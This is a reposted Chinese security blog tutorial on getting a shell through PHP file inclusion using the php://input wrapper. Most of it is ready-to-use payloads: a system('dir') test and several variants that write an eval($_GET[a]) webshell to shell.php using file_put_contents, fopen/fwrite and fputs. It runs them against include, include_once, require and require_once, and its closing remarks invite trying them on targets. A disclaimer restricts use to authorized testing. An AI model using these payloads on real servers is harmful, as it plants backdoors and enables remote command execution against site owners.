通过PHP文件包含,实现getshell

admin 2023年9月7日20:53:40评论15 views字数 1964阅读6分32秒阅读模式

一、导言

在PHP中,有以下几个函数可以实现文件包含

(1) Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
(2) Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
(3) Require_once与 include_once类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含

而有了文件包含漏洞后,我们可以上传图片马绕过一些waf的检测,实现getshell,相同的,我们也可以使用PHP内置的伪协议,实现更多的操作

二、PHP伪协议

1、file:// 访问本地文件系统

2、php:// 访问各个输入/输出流

3、data:// 数据(RFC 2397)

4、zip// 压缩流

5、phar:// php归档文件

附一张其它大佬哪里得的图

通过PHP文件包含,实现getshell

三、开始使用php://input伪协议进行实验

1、include()

此伪协议可以实现POST部分传输数据,与是呼就成了getshell佳选,当然,测试前,要开启几个配置

条件:php版本的ini中开启 allow_url_include = On

接着便开始我们的实验

测试源代码函数:include()

通过PHP文件包含,实现getshell

测试是否开启成功

payload1:<?php system("dir");?>

通过PHP文件包含,实现getshell

配置已开启完毕,测试

payload2:<?php file_put_contents("shell.php","<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

发现无反应,但是我们来到根目录

通过PHP文件包含,实现getshell

发现成功写入,解释一下file_put_contents(文件名,数据)函数

将字符串写入文件,当文件存在时就写入,不存在时,先创建文件在写入。

其次$符号要用进行转义,因为$符号在PHP中属于定义变量的意思

接着尝试

payload3:<?php fwrite(fopen("shell.php", "w"),"<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

也是无反应,但是来到根目录

通过PHP文件包含,实现getshell

成功写入

函数fopen(),fwrite解释,

fopen(文件名,写入模式),当写入模式为 r 时,找到指定文件名进行写入,找不到就报错,w则是自己创建文件

fwrite(文件名,数据),指定文件名进行写入,无文件时则报错

接着

payload4:<?php fputs(fopen("shell.php", "w"),"<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

无反应,看向网站根目录

通过PHP文件包含,实现getshell

  • 成功写入,fputs()函数将内容写入一个打开的文件中

fputs(file,string,length),找到指定文件名,找不到即报错,string,写入数据,length可有可无

2、include_once

函数代码:

通过PHP文件包含,实现getshell

好,开始上payload进行测试

payload1:<?php fputs(fopen("shell.php", "w"),"<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

网站根目录,

通过PHP文件包含,实现getshell

成功上传

payload2:<?php file_put_contents("shell.php","<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

网站根目录,同样成功

通过PHP文件包含,实现getshell

3、require

测试代码:

通过PHP文件包含,实现getshell

测试payload:<?php fputs(fopen("shell.php", "w"),"<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

网站无反应,但是看看根目录

通过PHP文件包含,实现getshell

成功写入

4、require_once

测试代码:

通过PHP文件包含,实现getshell

测试payload:<?php file_put_contents("shell.php","<?php eval($_GET[a]); ?>");?>

通过PHP文件包含,实现getshell

无反应,接着查看根目录

通过PHP文件包含,实现getshell

成功写入。

结语:

当然生活中如果遇见对方开启php://input必须条件时,可以尝试上述payload实现getshell,或者发掘更多PHP函数实现,如果遇不见对方开启条件时,便可以尝试其它伪协议,如file://, php://filter等实现读文件


本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

———————————————————————————
版权声明:版权声明:本文为FreeBuf.COM博主「dy71」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:
https://www.freebuf.com/articles/web/368421.html

原文始发于微信公众号(云息信安):通过PHP文件包含,实现getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月7日20:53:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过PHP文件包含,实现getshellhttps://cn-sec.com/archives/2015333.html

发表评论

匿名网友 填写信息